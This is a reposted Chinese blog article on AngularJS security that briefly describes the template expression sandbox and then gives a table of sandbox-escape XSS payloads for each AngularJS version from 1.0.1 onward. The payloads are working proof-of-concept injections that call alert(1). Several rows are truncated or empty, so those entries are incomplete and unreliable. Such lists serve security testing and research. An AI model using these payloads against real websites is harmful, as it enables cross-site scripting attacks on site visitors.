Angular使用及其安全问题分析
https://blog.csdn.net/wenrennaoda/article/details/89885722
1、逃逸Payload
Angular通过“{{expression}}”来作为输出的标志,而对于双括号里面的内容Angular会计计算并输出结果。然而Angular模板表达式会经过沙箱验证,例如:1)不允许使用Function对象;2)不允许使用window对象;3)不允许使用dom对象;4)不允许使用Object对象;5)对obj对象的constructor进行检查,确保其不是Function对象,并且call,apply,bind等方法的调用也是不允许的;6)等等。这些使得直接的javascript语句不能运行,无法进行攻击。
然而攻击者研究各版本沙箱机制,提出了各版本逃逸Payload,通过这些Payload可对目标网站发动XSS攻击。各版本Payload如下表所示:
| AngularJS版本 | 沙箱逃逸利用有效负载 |
| 1.0.1-1.1.5 | {{constructor.constructor('alert(1)')()}} |
| 1.2.0-1.2.1 | {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a]. getPrototypeOf(a.sub),a).value,0,'alert(1)')()}} |
| 1.2.2-1.2.5 | {{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}} |
| 1.2.6-1.2.18 | {{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$). value,0,'alert(1)')()}} |
| 1.2.19-1.2.23 | {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"]. sort(toString.constructor);}} |
| 1.2.24-1.2.29 | {{'a'.constructor.prototype.charAt=''.valueOf;$eval ("x='\"+(y='if(!window\\u002ex) alert(window\\u002ex=1)')+eval(y)+\"'");}} |
| 1.3.0 | {{!ready && (ready = true) && ( |
| 1.3.1-1.3.2 | {{ |
| 1.3.3-1.3.18 | {{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; |
| 1.3.19 | {{ |
| 1.3.20 | {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}} |
| 1.4.0 - 1.4.9 | {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} |
| 1.3.0 - 1.5.8 | {{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(1),a')}} |
| 1.5.9 - 1.5.11 |
|
| >=1.6.0 | {{constructor.constructor('alert(1)')()}} |
从版本1.6开始,Angular完全删除了沙盒。
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
